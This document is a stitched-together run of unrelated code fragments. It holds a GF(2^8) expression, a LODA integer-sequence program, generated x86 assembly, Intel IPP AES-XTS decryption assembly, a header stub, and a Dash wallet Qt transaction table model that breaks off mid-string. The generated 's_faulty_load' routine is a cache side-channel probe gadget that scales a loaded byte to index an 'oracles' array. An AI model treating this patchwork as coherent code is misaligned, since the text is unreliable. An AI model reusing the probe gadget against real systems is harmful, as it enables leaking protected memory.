(((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<2)^(((0x38>>6)&1)*0x11b)^(((0x38>>6)&2)*0x11b)) ^ 0x38), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<1)^(((0x38>>7)&1)*0x11b)) ^ 0x38)
; A052768: A simple grammar. ; 0,0,0,0,0,120,360,840,1680,3024,5040,7920,11880,17160,24024,32760,43680,57120,73440,93024,116280,143640,175560,212520,255024,303600,358800,421200,491400,570024,657720,755160,863040,982080,1113024 bin $0,4 lpb $0 bin $0,2 lpe mov $1,$0 mul $1,24
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rbp push %rdi lea addresses_normal_ht+0x18e0d, %r8 nop xor %rbp, %rbp mov $0x6162636465666768, %r10 movq %r10, %xmm1 and $0xffffffffffffffc0, %r8 vmovaps %ymm1, (%r8) nop nop nop and %rdi, %rdi pop %rdi pop %rbp pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %rax push %rbx push %rcx push %rdi push %rsi // Faulty Load lea addresses_US+0x260d, %r13 nop nop nop dec %rbx mov (%r13), %edi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}} {'00': 262} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;=============================================================================== ; Copyright 2016-2021 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; AES functions ; ; Content: ; cpAESEncryptXTS_AES_NI() ; ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_AES_NI_ENABLING_ == _FEATURE_ON_) || (_AES_NI_ENABLING_ == _FEATURE_TICKTOCK_) %if (_IPP32E >= _IPP32E_Y8) segment .text align=IPP_ALIGN_FACTOR align IPP_ALIGN_FACTOR ALPHA_MUL_CNT dq 00000000000000087h, 00000000000000001h ;*************************************************************** ;* Purpose: AES-XTS encryption ;* ;* void cpAESDecryptXTS_AES_NI(Ipp8u* outBlk, ;* const Ipp8u* inpBlk, ;* int length, ;* const Ipp8u* pRKey, ;* int nr, ;* Ipp8u* pTweak) ;*************************************************************** ;; ;; key = ks[0] ;; mul_cnt = {0x0000000000000001:0x0000000000000087} ;; returns: ;; ktwk = twk^key ;; twk = twk*alpha ;; twk2= twk2 *2 - auxillary ;; %macro OUTER_MUL_X 6.nolist %xdefine %%ktwk %1 %xdefine %%twk %2 %xdefine %%key %3 %xdefine %%mul_cnt %4 %xdefine %%twk2 %5 %xdefine %%mask %6 movdqa %%mask, %%twk2 paddd %%twk2, %%twk2 movdqa %%ktwk, %%twk psrad %%mask, 31 paddq %%twk, %%twk pand %%mask, %%mul_cnt pxor %%ktwk, %%key pxor %%twk, %%mask %endmacro %macro LAST_OUTER_MUL_X 5.nolist %xdefine %%ktwk %1 %xdefine %%twk %2 %xdefine %%key %3 %xdefine %%mul_cnt %4 %xdefine %%twk2 %5 movdqa %%ktwk, %%twk psrad %%twk2, 31 paddq %%twk, %%twk pand %%twk2, %%mul_cnt pxor %%ktwk, %%key pxor %%twk, %%twk2 %endmacro %macro INNER_MUL_X 6.nolist %xdefine %%ktwk %1 %xdefine %%twk %2 %xdefine %%key %3 %xdefine %%mul_cnt %4 %xdefine %%twk2 %5 %xdefine %%mask %6 movdqa %%mask, %%twk2 paddd %%twk2, %%twk2 psrad %%mask, 31 paddq %%twk, %%twk pand %%mask, %%mul_cnt pxor %%twk, %%mask %ifnidn %%key,%%ktwk movdqa %%key, %%ktwk %endif pxor %%ktwk, %%twk %endmacro %macro LAST_INNER_MUL_X 3.nolist %xdefine %%twk %1 %xdefine %%mul_cnt %2 %xdefine %%twk2 %3 psrad %%twk2, 31 paddq %%twk, %%twk pand %%twk2, %%mul_cnt pxor %%twk, %%twk2 %endmacro align IPP_ALIGN_FACTOR IPPASM cpAESDecryptXTS_AES_NI,PUBLIC %assign LOCAL_FRAME sizeof(oword)*6 USES_GPR rsi,rdi USES_XMM xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12,xmm13,xmm14,xmm15 COMP_ABI 6 ;; rdi: pOutBlk: BYTE ; pointer to the output bloak ;; rsi: pInpBlk: BYTE ; pointer to the input block ;; edx: nBlocks DWORD ; number of blocks ;; rcx: pKey: BYTE ; key material address ;; r8d: nr: DWORD ; number of rounds ;; r9 pTweak: BYTE ; pointer to the input/outpout (ciphertext) tweak %assign AES_BLOCK (16) movsxd r8, r8d ; number of cipher rounds movdqu xmm15, xmmword [r9] ; input tweak value shl r8, 4 ; key schedule length (bytes) movdqa xmm0, xmmword [rcx+r8] ; key[0] movdqa xmm8, xmmword [rel ALPHA_MUL_CNT] ; mul constant pshufd xmm9, xmm15, 5Fh ; {twk[1]:twk[1]:twk[3]:twk[3]} - auxillary value movsxd rdx, edx ; number of blocks being processing ;; compute: ;; - ktwk[i] = twk[i]^key[0] ;; - twk[i+1] = twk[i]*alpha^(i+1), i=0..5 OUTER_MUL_X xmm10, xmm15, xmm0, xmm8, xmm9, xmm14 OUTER_MUL_X xmm11, xmm15, xmm0, xmm8, xmm9, xmm14 OUTER_MUL_X xmm12, xmm15, xmm0, xmm8, xmm9, xmm14 OUTER_MUL_X xmm13, xmm15, xmm0, xmm8, xmm9, xmm14 LAST_OUTER_MUL_X xmm14, xmm15, xmm0, xmm8, xmm9 movdqa xmm8, xmm15 ; save tweak for next iteration pxor xmm15, xmm0 ; add key[0] sub rdx, 6 ; test input length jc .short_input ;; ;; blocks processing ;; align IPP_ALIGN_FACTOR .blks_loop: pxor xmm0, xmmword [rcx] ; key[0]^key[last] lea rax, [r8-6*AES_BLOCK] ; cipher_loop counter lea r10, [rcx+6*AES_BLOCK] ; mov key pointer down movdqu xmm2, xmmword [rsi] ; src[0] - src[7] movdqu xmm3, xmmword [rsi+AES_BLOCK] movdqu xmm4, xmmword [rsi+2*AES_BLOCK] movdqu xmm5, xmmword [rsi+3*AES_BLOCK] movdqu xmm6, xmmword [rsi+4*AES_BLOCK] movdqu xmm7, xmmword [rsi+5*AES_BLOCK] movdqa xmm1, xmmword [rcx+r8-1*AES_BLOCK] ; key[1] pxor xmm2, xmm10 ; src[] ^twk[] ^ key[0] pxor xmm3, xmm11 pxor xmm4, xmm12 pxor xmm5, xmm13 pxor xmm6, xmm14 pxor xmm7, xmm15 pxor xmm10, xmm0 ; store twk[] ^ key[last] pxor xmm11, xmm0 pxor xmm12, xmm0 pxor xmm13, xmm0 pxor xmm14, xmm0 pxor xmm15, xmm0 movdqa xmm0, xmmword [rcx+r8-2*AES_BLOCK] ; key[2] movdqa xmmword [rsp+0*AES_BLOCK], xmm10 movdqa xmmword [rsp+1*AES_BLOCK], xmm11 movdqa xmmword [rsp+2*AES_BLOCK], xmm12 movdqa xmmword [rsp+3*AES_BLOCK], xmm13 movdqa xmmword [rsp+4*AES_BLOCK], xmm14 movdqa xmmword [rsp+5*AES_BLOCK], xmm15 add rsi, 6*AES_BLOCK align IPP_ALIGN_FACTOR .cipher_loop: sub rax, 2*AES_BLOCK ; dec loop counter aesdec xmm2, xmm1 ; regular rounds 3 - (last-2) aesdec xmm3, xmm1 aesdec xmm4, xmm1 aesdec xmm5, xmm1 aesdec xmm6, xmm1 aesdec xmm7, xmm1 movdqa xmm1, xmmword [r10+rax-1*AES_BLOCK] aesdec xmm2, xmm0 aesdec xmm3, xmm0 aesdec xmm4, xmm0 aesdec xmm5, xmm0 aesdec xmm6, xmm0 aesdec xmm7, xmm0 movdqa xmm0, xmmword [r10+rax-2*AES_BLOCK] jnz .cipher_loop movdqa xmm10, xmmword [rcx+r8] ; key[0] movdqa xmm15, xmm8 ; restore tweak value pshufd xmm9, xmm8, 5Fh ; {twk[1]:twk[1]:twk[3]:twk[3]} - auxillary value movdqa xmm8, xmmword [rel ALPHA_MUL_CNT] ; mul constant ; ; last 6 rounds (5 regular rounds + irregular) ; merged together with next tweaks computation ; aesdec xmm2, xmm1 aesdec xmm3, xmm1 aesdec xmm4, xmm1 aesdec xmm5, xmm1 aesdec xmm6, xmm1 aesdec xmm7, xmm1 movdqa xmm1, xmmword [rcx+3*AES_BLOCK] INNER_MUL_X xmm10, xmm15, xmm11, xmm8, xmm9, xmm14 aesdec xmm2, xmm0 aesdec xmm3, xmm0 aesdec xmm4, xmm0 aesdec xmm5, xmm0 aesdec xmm6, xmm0 aesdec xmm7, xmm0 movdqa xmm0, xmmword [rcx+2*AES_BLOCK] INNER_MUL_X xmm11, xmm15, xmm12, xmm8, xmm9, xmm14 aesdec xmm2, xmm1 aesdec xmm3, xmm1 aesdec xmm4, xmm1 aesdec xmm5, xmm1 aesdec xmm6, xmm1 aesdec xmm7, xmm1 movdqa xmm1, xmmword [rcx+1*AES_BLOCK] INNER_MUL_X xmm12, xmm15, xmm13, xmm8, xmm9, xmm14 aesdec xmm2, xmm0 aesdec xmm3, xmm0 aesdec xmm4, xmm0 aesdec xmm5, xmm0 aesdec xmm6, xmm0 aesdec xmm7, xmm0 INNER_MUL_X xmm13, xmm15, xmm14, xmm8, xmm9, xmm14 aesdec xmm2, xmm1 aesdec xmm3, xmm1 aesdec xmm4, xmm1 aesdec xmm5, xmm1 aesdec xmm6, xmm1 aesdec xmm7, xmm1 INNER_MUL_X xmm14, xmm15, xmm0, xmm8, xmm9, xmm0 aesdeclast xmm2, xmmword [rsp] ; final irregular round aesdeclast xmm3, xmmword [rsp+1*AES_BLOCK] aesdeclast xmm4, xmmword [rsp+2*AES_BLOCK] aesdeclast xmm5, xmmword [rsp+3*AES_BLOCK] aesdeclast xmm6, xmmword [rsp+4*AES_BLOCK] aesdeclast xmm7, xmmword [rsp+5*AES_BLOCK] LAST_INNER_MUL_X xmm15, xmm8, xmm9 movdqa xmm8, xmm15 ; save tweak for next iteration pxor xmm15, xmm0 ; add key[0] movdqu xmmword [rdi+0*AES_BLOCK], xmm2 ; store output blocks movdqu xmmword [rdi+1*AES_BLOCK], xmm3 movdqu xmmword [rdi+2*AES_BLOCK], xmm4 movdqu xmmword [rdi+3*AES_BLOCK], xmm5 movdqu xmmword [rdi+4*AES_BLOCK], xmm6 movdqu xmmword [rdi+5*AES_BLOCK], xmm7 add rdi, 6*AES_BLOCK sub rdx, 6 jnc .blks_loop .short_input: add rdx, 6 jz .quit movdqa xmmword [rsp+0*AES_BLOCK], xmm10 ; save pre-computed twae movdqa xmmword [rsp+1*AES_BLOCK], xmm11 movdqa xmmword [rsp+2*AES_BLOCK], xmm12 movdqa xmmword [rsp+3*AES_BLOCK], xmm13 movdqa xmmword [rsp+4*AES_BLOCK], xmm14 movdqa xmmword [rsp+5*AES_BLOCK], xmm15 ;; ;; block-by-block processing ;; movdqa xmm0, xmmword [rcx+r8] ; key[0] pxor xmm0, xmmword [rcx] ; key[0] ^ key[last] xor rax, rax .single_blk_loop: movdqu xmm2, xmmword [rsi] ; input block movdqa xmm1, xmmword [rsp+rax] ; tweak ^ key[0] add rsi, AES_BLOCK pxor xmm2, xmm1 ; src[] ^tweak ^ key[0] pxor xmm1, xmm0 ; tweak ^ key[lasl] cmp r8, 12*16 ; switch according to number of rounds jl .key_128_s .key_256_s: aesdec xmm2, xmmword [rcx+9*AES_BLOCK+4*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK+3*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK+2*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK+1*AES_BLOCK] .key_128_s: aesdec xmm2, xmmword [rcx+9*AES_BLOCK-0*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-1*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-2*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-3*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-4*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-5*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-6*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-7*AES_BLOCK] aesdec xmm2, xmmword [rcx+9*AES_BLOCK-8*AES_BLOCK] aesdeclast xmm2, xmm1 movdqu xmmword [rdi], xmm2 ; output block add rdi, AES_BLOCK add rax, AES_BLOCK sub rdx, 1 jnz .single_blk_loop movdqa xmm10, xmmword [rsp+rax] ; tweak ^ key[0] .quit: pxor xmm10, xmmword [rcx+r8] ; remove key[0] movdqu xmmword [r9], xmm10 ; and save tweak value pxor xmm0, xmm0 pxor xmm1, xmm1 REST_XMM REST_GPR ret ENDFUNC cpAESDecryptXTS_AES_NI %endif ;; _AES_NI_ENABLING_ %endif ;;_IPP32E_Y8
#ifdef PEGASUS_OS_HPUX #ifndef __UNIX_SAPSTATISTICS_PRIVATE_H #define __UNIX_SAPSTATISTICS_PRIVATE_H #endif #endif
#include "transactiontablemodel.h" #include "guiutil.h" #include "transactionrecord.h" #include "guiconstants.h" #include "transactiondesc.h" #include "walletmodel.h" #include "optionsmodel.h" #include "addresstablemodel.h" #include "bitcoinunits.h" #include "wallet.h" #include "ui_interface.h" #include <QList> #include <QColor> #include <QIcon> #include <QDateTime> #include <QDebug> // Amount column is right-aligned it contains numbers static int column_alignments[] = { Qt::AlignLeft|Qt::AlignVCenter, /* status */ Qt::AlignLeft|Qt::AlignVCenter, /* watchonly */ Qt::AlignLeft|Qt::AlignVCenter, /* date */ Qt::AlignLeft|Qt::AlignVCenter, /* type */ Qt::AlignLeft|Qt::AlignVCenter, /* address */ Qt::AlignRight|Qt::AlignVCenter /* amount */ }; // Comparison operator for sort/binary search of model tx list struct TxLessThan { bool operator()(const TransactionRecord &a, const TransactionRecord &b) const { return a.hash < b.hash; } bool operator()(const TransactionRecord &a, const uint256 &b) const { return a.hash < b; } bool operator()(const uint256 &a, const TransactionRecord &b) const { return a < b.hash; } }; // Private implementation class TransactionTablePriv { public: TransactionTablePriv(CWallet *wallet, TransactionTableModel *parent) : wallet(wallet), parent(parent) { } CWallet *wallet; TransactionTableModel *parent; /* Local cache of wallet. * As it is in the same order as the CWallet, by definition * this is sorted by sha256. */ QList<TransactionRecord> cachedWallet; /* Query entire wallet anew from core. */ void refreshWallet() { qDebug() << "TransactionTablePriv::refreshWallet"; cachedWallet.clear(); { LOCK2(cs_main, wallet->cs_wallet); for(std::map<uint256, CWalletTx>::iterator it = wallet->mapWallet.begin(); it != wallet->mapWallet.end(); ++it) { if(TransactionRecord::showTransaction(it->second)) cachedWallet.append(TransactionRecord::decomposeTransaction(wallet, it->second)); } } } /* Update our model of the wallet incrementally, to synchronize our model of the wallet with that of the core. Call with transaction that was added, removed or changed. */ void updateWallet(const uint256 &hash, int status, bool showTransaction) { qDebug() << "TransactionTablePriv::updateWallet : " + QString::fromStdString(hash.ToString()) + " " + QString::number(status); // Find bounds of this transaction in model QList<TransactionRecord>::iterator lower = qLowerBound( cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan()); QList<TransactionRecord>::iterator upper = qUpperBound( cachedWallet.begin(), cachedWallet.end(), hash, TxLessThan()); int lowerIndex = (lower - cachedWallet.begin()); int upperIndex = (upper - cachedWallet.begin()); bool inModel = (lower != upper); if(status == CT_UPDATED) { if(showTransaction && !inModel) status = CT_NEW; /* Not in model, but want to show, treat as new */ if(!showTransaction && inModel) status = CT_DELETED; /* In model, but want to hide, treat as deleted */ } qDebug() << " inModel=" + QString::number(inModel) + " Index=" + QString::number(lowerIndex) + "-" + QString::number(upperIndex) + " showTransaction=" + QString::number(showTransaction) + " derivedStatus=" + QString::number(status); switch(status) { case CT_NEW: if(inModel) { qWarning() << "TransactionTablePriv::updateWallet : Warning: Got CT_NEW, but transaction is already in model"; break; } if(showTransaction) { LOCK2(cs_main, wallet->cs_wallet); // Find transaction in wallet std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(hash); if(mi == wallet->mapWallet.end()) { qWarning() << "TransactionTablePriv::updateWallet : Warning: Got CT_NEW, but transaction is not in wallet"; break; } // Added -- insert at the right position QList<TransactionRecord> toInsert = TransactionRecord::decomposeTransaction(wallet, mi->second); if(!toInsert.isEmpty()) /* only if something to insert */ { parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex+toInsert.size()-1); int insert_idx = lowerIndex; foreach(const TransactionRecord &rec, toInsert) { cachedWallet.insert(insert_idx, rec); insert_idx += 1; } parent->endInsertRows(); } } break; case CT_DELETED: if(!inModel) { qWarning() << "TransactionTablePriv::updateWallet : Warning: Got CT_DELETED, but transaction is not in model"; break; } // Removed -- remove entire transaction from table parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex-1); cachedWallet.erase(lower, upper); parent->endRemoveRows(); break; case CT_UPDATED: // Miscellaneous updates -- nothing to do, status update will take care of this, and is only computed for // visible transactions. break; } } int size() { return cachedWallet.size(); } TransactionRecord *index(int idx) { if(idx >= 0 && idx < cachedWallet.size()) { TransactionRecord *rec = &cachedWallet[idx]; // Get required locks upfront. This avoids the GUI from getting // stuck if the core is holding the locks for a longer time - for // example, during a wallet rescan. // // If a status update is needed (blocks came in since last check), // update the status of this transaction from the wallet. Otherwise, // simply re-use the cached status. TRY_LOCK(cs_main, lockMain); if(lockMain) { TRY_LOCK(wallet->cs_wallet, lockWallet); if(lockWallet && rec->statusUpdateNeeded()) { std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(rec->hash); if(mi != wallet->mapWallet.end()) { rec->updateStatus(mi->second); } } } return rec; } return 0; } QString describe(TransactionRecord *rec, int unit) { { LOCK2(cs_main, wallet->cs_wallet); std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(rec->hash); if(mi != wallet->mapWallet.end()) { return TransactionDesc::toHTML(wallet, mi->second, rec, unit); } } return QString(""); } }; TransactionTableModel::TransactionTableModel(CWallet* wallet, WalletModel *parent): QAbstractTableModel(parent), wallet(wallet), walletModel(parent), priv(new TransactionTablePriv(wallet, this)) { columns << QString() << QString() << tr("Date") << tr("Type") << tr("Address") << BitcoinUnits::getAmountColumnTitle(walletModel->getOptionsModel()->getDisplayUnit()); priv->refreshWallet(); connect(walletModel->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); subscribeToCoreSignals(); } TransactionTableModel::~TransactionTableModel() { unsubscribeFromCoreSignals(); delete priv; } /** Updates the column title to "Amount (DisplayUnit)" and emits headerDataChanged() signal for table headers to react. */ void TransactionTableModel::updateAmountColumnTitle() { columns[Amount] = BitcoinUnits::getAmountColumnTitle(walletModel->getOptionsModel()->getDisplayUnit()); emit headerDataChanged(Qt::Horizontal,Amount,Amount); } void TransactionTableModel::updateTransaction(const QString &hash, int status, bool showTransaction) { uint256 updated; updated.SetHex(hash.toStdString()); priv->updateWallet(updated, status, showTransaction); } void TransactionTableModel::updateConfirmations() { // Blocks came in since last poll. // Invalidate status (number of confirmations) and (possibly) description // for all rows. Qt is smart enough to only actually request the data for the // visible rows. emit dataChanged(index(0, Status), index(priv->size()-1, Status)); emit dataChanged(index(0, ToAddress), index(priv->size()-1, ToAddress)); } int TransactionTableModel::rowCount(const QModelIndex &parent) const { Q_UNUSED(parent); return priv->size(); } int TransactionTableModel::columnCount(const QModelIndex &parent) const { Q_UNUSED(parent); return columns.length(); } QString TransactionTableModel::formatTxStatus(const TransactionRecord *wtx) const { QString status; switch(wtx->status.status) { case TransactionStatus::OpenUntilBlock: status = tr("Open for %n more block(s)","",wtx->status.open_for); break; case TransactionStatus::OpenUntilDate: status = tr("Open until %1").arg(GUIUtil::dateTimeStr(wtx->status.open_for)); break; case TransactionStatus::Offline: status = tr("Offline"); break; case TransactionStatus::Unconfirmed: status = tr("Unconfirmed"); break; case TransactionStatus::Confirming: status = tr("Confirming (%1 of %2 recommended confirmations)").arg(wtx->status.depth).arg(TransactionRecord::RecommendedNumConfirmations); break; case TransactionStatus::Confirmed: status = tr("Confirmed (%1 confirmations)").arg(wtx->status.depth); break; case TransactionStatus::Conflicted: status = tr("Conflicted"); break; case TransactionStatus::Immature: status = tr("Immature (%1 confirmations, will be available after %2)").arg(wtx->status.depth).arg(wtx->status.depth + wtx->status.matures_in); break; case TransactionStatus::MaturesWarning: status = tr("This block was not received by any other nodes and will probably not be accepted!"); break; case TransactionStatus::NotAccepted: status = tr("Generated but not accepted"); break; } return status; } QString TransactionTableModel::formatTxDate(const TransactionRecord *wtx) const { if(wtx->time) { return GUIUtil::dateTimeStr(wtx->time); } return QString(); } /* Look up address in address book, if found return label (address) otherwise just return (address) */ QString TransactionTableModel::lookupAddress(const std::string &address, bool tooltip) const { QString label = walletModel->getAddressTableModel()->labelForAddress(QString::fromStdString(address)); QString description; if(!label.isEmpty()) { description += label + QString(" "); } if(label.isEmpty() || tooltip) { description += QString("(") + QString::fromStdString(address) + QString(")"); } return description; } QString TransactionTableModel::formatTxType(const TransactionRecord *wtx) const { switch(wtx->type) { case TransactionRecord::RecvWithAddress: return tr("Received with"); case TransactionRecord::RecvFromOther: return tr("Received from"); case TransactionRecord::RecvWithDarksend: return tr("Received via Darksend"); case TransactionRecord::SendToAddress: case TransactionRecord::SendToOther: return tr("Sent to"); case TransactionRecord::SendToSelf: return tr("Payment to yourself"); case TransactionRecord::Generated: return tr("Mined"); case TransactionRecord::DarksendDenominate: return tr("Darksend Denominate"); case TransactionRecord::DarksendCollateralPayment: return tr("Darksend Collateral Payment"); case TransactionRecord::DarksendMakeCollaterals: return tr("Darksend Make Collateral Inputs"); case TransactionRecord::DarksendCreateDenominations: return tr("Darksend Create Denominations"); case TransactionRecord::Darksent: return tr("Darksent"); default: return QString(); } } QVariant TransactionTableModel::txAddressDecoration(const TransactionRecord *wtx) const { switch(wtx->type) { case TransactionRecord::Generated: return QIcon(":/icons/tx_mined"); case TransactionRecord::RecvWithDarksend: case TransactionRecord::RecvWithAddress: case TransactionRecord::RecvFromOther: return QIcon(":/icons/tx_input"); case TransactionRecord::SendToAddress: case TransactionRecord::SendToOther: return QIcon(":/icons/tx_output"); default: return QIcon(":/icons/tx_inout"); } } QString TransactionTableModel::formatTxToAddress(const TransactionRecord *wtx, bool tooltip) const { QString watchAddress; if (tooltip) { // Mark transactions involving watch-only addresses by adding " (watch-only)" watchAddress = wtx->involvesWatchAddress ? QString(" (") + tr("watch-only") + QString(")") : ""; } switch(wtx->type) { case TransactionRecord::RecvFromOther: return QString::fromStdString(wtx->address) + watchAddress; case TransactionRecord::RecvWithAddress: case TransactionRecord::RecvWithDarksend: case TransactionRecord::SendToAddress: case TransactionRecord::Generated: case TransactionRecord::Darksent: return lookupAddress(wtx->address, tooltip) + watchAddress; case TransactionRecord::SendToOther: return QString::fromStdString(wtx->address) + watchAddress; case TransactionRecord::SendToSelf: default: return tr("(n/a)") + watchAddress; } } QVariant TransactionTableModel::addressColor(const TransactionRecord *wtx) const { // Show addresses without label in a less visible color switch(wtx->type) { case TransactionRecord::RecvWithAddress: case TransactionRecord::SendToAddress: case TransactionRecord::Generated: { QString label = walletModel->getAddressTableModel()->labelForAddress(QString::fromStdString(wtx->address)); if(label.isEmpty()) return COLOR_BAREADDRESS; } break; case TransactionRecord::SendToSelf: return COLOR_BAREADDRESS; default: break; } return QVariant(); } QString TransactionTableModel::formatTxAmount(const TransactionRecord *wtx, bool showUnconfirmed) const { QString str = BitcoinUnits::format(walletModel->getOptionsModel()->getDisplayUnit(), wtx->credit + wtx->debit); if(showUnconfirmed) { if(!wtx->status.countsForBalance) { str = QString("[") + str + QString("]"); } } return QString(str); } QVariant TransactionTableModel::txStatusDecoration(const TransactionRecord *wtx) const { switch(wtx->status.status) { case TransactionStatus::OpenUntilBlock: case TransactionStatus::OpenUntilDate: return QColor(64,64,255); case TransactionStatus::Offline: return QColor(192,192,192); case TransactionStatus::Unconfirmed: return QIcon(":/icons/transaction_0"); case TransactionStatus::Confirming: switch(wtx->status.depth) { case 1: return QIcon(":/icons/transaction_1"); case 2: return QIcon(":/icons/transaction_2"); case 3: return QIcon(":/icons/transaction_3"); case 4: return QIcon(":/icons/transaction_4"); default: return QIcon(":/icons/transaction_5"); }; case TransactionStatus::Confirmed: return QIcon(":/icons/transaction_confirmed"); case TransactionStatus::Conflicted: return QIcon(":/icons/transaction_conflicted"); case TransactionStatus::Immature: { int total = wtx->status.depth + wtx->status.matures_in; int part = (wtx->status.depth * 4 / total) + 1; return QIcon(QString(":/icons/transaction_%1").arg(part)); } case TransactionStatus::MaturesWarning: case TransactionStatus::NotAccepted: return QIcon(":/icons/transaction_0"); } return QColor(0,0,0); } QVariant TransactionTableModel::txWatchonlyDecoration(const TransactionRecord *wtx) const { if (wtx->involvesWatchAddress) return QIcon(":/icons/eye"); else return QVariant(); } QString TransactionTableModel::formatTooltip(const TransactionRecord *rec) const { QString tooltip = formatTxStatus(rec) + QString("\n") + formatTxType(rec); if(rec->type==TransactionRecord::RecvFromOther || rec->type==TransactionRecord::SendToOther || rec->type==TransactionRecord::SendToAddress || rec->type==TransactionRecord::RecvWithAddress) { tooltip += QString(" ") + formatTxToAddress(rec, true); } return tooltip; } QVariant TransactionTableModel::data(const QModelIndex &index, int role) const { if(!index.isValid()) return QVariant(); TransactionRecord *rec = static_cast<TransactionRecord*>(index.internalPointer()); switch(role) { case Qt::DecorationRole: switch(index.column()) { case Status: return txStatusDecoration(rec); case Watchonly: return txWatchonlyDecoration(rec); case ToAddress: return txAddressDecoration(rec); } break; case Qt::DisplayRole: switch(index.column()) { case Date: return formatTxDate(rec); case Type: return formatTxType(rec); case ToAddress: return formatTxToAddress(rec, false); case Amount: return formatTxAmount(rec); } break; case Qt::EditRole: // Edit role is used for sorting, so return the unformatted values switch(index.column()) { case Status: return QString::fromStdString(rec->status.sortKey); case Date: return rec->time; case Type: return formatTxType(rec); case Watchonly: return (rec->involvesWatchAddress ? 1 : 0); case ToAddress: return formatTxToAddress(rec, true); case Amount: return qint64(rec->credit + rec->debit); } break; case Qt::ToolTipRole: return formatTooltip(rec); case Qt::TextAlignmentRole: return column_alignments[index.column()]; case Qt::ForegroundRole: // Non-confirmed (but not immature) as transactions are grey if(!rec->status.countsForBalance && rec->status.status != TransactionStatus::Immature) { return COLOR_UNCONFIRMED; } if(index.column() == Amount && (rec->credit+rec->debit) < 0) { return COLOR_NEGATIVE; } if(index.column() == Amount && rec->type != TransactionRecord::Generated && (rec->credit+rec->debit) > 0) { return QColor(0, 128, 0); } if(index.column() == ToAddress) { return addressColor(rec); } break; case TypeRole: return rec->type; case DateRole: return QDateTime::fromTime_t(static_cast<uint>(rec->time)); case WatchonlyRole: return rec->involvesWatchAddress; case WatchonlyDecorationRole: return txWatchonlyDecoration(rec); case LongDescriptionRole: return priv->describe(rec, walletModel->getOptionsModel()->getDisplayUnit()); case AddressRole: return QString::fromStdString(rec->address); case LabelRole: return walletModel->getAddressTableModel()->labelForAddress(QString::fromStdString(rec->address)); case AmountRole: return qint64(rec->credit + rec->debit); case TxIDRole: return rec->getTxID(); case TxHashRole: return QString::fromStdString(rec->hash.ToString()); case ConfirmedRole: return rec->status.countsForBalance; case FormattedAmountRole: // Used for copy/export, so don't include separators return formatTxAmount(rec, false); case StatusRole: return rec->status.status; } return QVariant(); } QVariant TransactionTableModel::headerData(int section, Qt::Orientation orientation, int role) const { if(orientation == Qt::Horizontal) { if(role == Qt::DisplayRole) { return columns[section]; } else if (role == Qt::TextAlignmentRole) { return column_alignments[section]; } else if (role == Qt::ToolTipRole) { switch(section) { case Status: return tr("Transaction status. Hover over this field to show number of confirmations."); case Date: return tr("Date and time that the transaction was received."); case Type: return tr("Type of transaction."); case Watchonly: return tr("Whether or not a watch-only address is 